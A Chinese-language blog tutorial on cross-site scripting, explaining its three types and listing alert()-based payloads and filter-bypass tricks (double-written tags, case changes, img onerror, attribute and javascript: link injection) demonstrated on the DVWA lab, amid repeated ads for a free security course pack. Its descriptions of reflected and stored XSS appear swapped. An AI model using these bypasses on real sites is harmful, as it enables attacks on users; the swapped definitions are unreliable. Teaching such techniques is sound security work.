Web安全 | XSS跨站脚本攻击漏洞

一、简介

1.概念

XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS漏洞通常是通过PHP的输出函数将Javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有:

echo printf printprint_r sprintf dievar-dump var_export.

   读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

2.分类

(1)反射型XSS

一般在留言板,用户发帖,用户回帖,经过后端但不过数据库

(2)存储型XSS

一般在URL,搜索框,也有在GET和POST参数中,经过后端同时经过数据库

(3)DOM型XSS

基于DOM文档对象模型的一种XSS,不与后台服务器产生数据交互,通过前端的dom节点形成的xss漏洞

  读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

二、常见XSS的Payload构造及绕过

1.反射型XSS

(1)常规

<script>alert(1)</script>

(2)双写绕过

<sc<script>alert(1)</script>

(3)大小写绕过(随机选择改写)

<Script>alert(1)</script>

(4)<img>绕过(过滤掉了<>,script)

<img src=1οnerrοr=alert(1)

  读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

2.存储型XSS

以DVWA为例,可以看到,当我们再name框中输入语句时长度被限制了。

 打开F12,定位到name框,使用“查看器”旁边的定位功能

 将长度改长一些

 这个时候再去输入语句,执行

  读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

3.DOM型XSS

以DVWA靶场的Medium级别DOM型XSS为例

 

点击select,发现URL上出现了一个default=English,我们可以尝试将English替换成JS语句去执行,但是输入JS语句之后发现无法执行,那么可能是对<script>等语句进行了过滤。 

 

查看源代码,可以看到源代码对<script进行了过滤,所以我们不能再使用<script>

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
  读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

打开F12并定位,可以看到语句已经存入了value值,但是没有执行成功是因为没有闭合<option>标签,再加上本身过滤了<script>函数,那么我们可以将语句构造如下

></option></select><img src=1 οnerrοr=alert('xss');>

执行成功 

 

  读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

4.针对各种过滤的绕过方法总结

(1)未对参数进行任何过滤的

<script>alert()</script>

<img src=1 οnerrοr=alert()>

(2)payload被引号包裹的

例如:<input name=keyword value="<script>alert()</script>">

#闭合标签和字符串

先闭合引号,对于标签中不能包含script标签的,

在闭合此标签 "><script>alert()</script>"

(在最后加引号是因为引号总是成对出现的,这个引号是为了闭合原input标签中value属性值的最后一个引号)

#向标签中添加属性和方法

先闭合引号,在向input标签中添加onclick方法和type属性,

这样点击文本框时就可以执行代码。

payload:" οnclick=alert() type="text" "

(3)payload被更改的

如果网页对script和onclick对做了防范, 例如我们的payload为:"><script>alert()</script>" 注入到页面的效果为:<input name=keyword value="<scr_ipt>">,若选用向标签中添加onclick方法的方式。onclick会被更改为o_nclick 我们可以先屏蔽注入点初的标签

改用在页面中插入a标签 "><a href=javascript:alert()>

#这里是超链</a> href值为javascript:是目的是为了防止链接跳转,这里可以利用一下来执行js代码

(4)payload被更改但是不要求大小写的

和刚刚一样,若我们的onclick注入到页面中被更改为o_nclick,我们可以更改一下大小写

Onclick=alert() type="text"

(5)payload关键字被清除的

若我们的payload为 :"><script>alert()</script>" 注入到页面的效果为 "><>alert()</>" 可以看到我们的关键字script被清除,此时可以采用双写绕过,在script中在插入一个script

><scrscriptipt>alert()</sscriptcript>

浏览器将script中插入的script清除后,我们之前的script依然存在 输入到页面的效果为:><script>alert()</script>

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值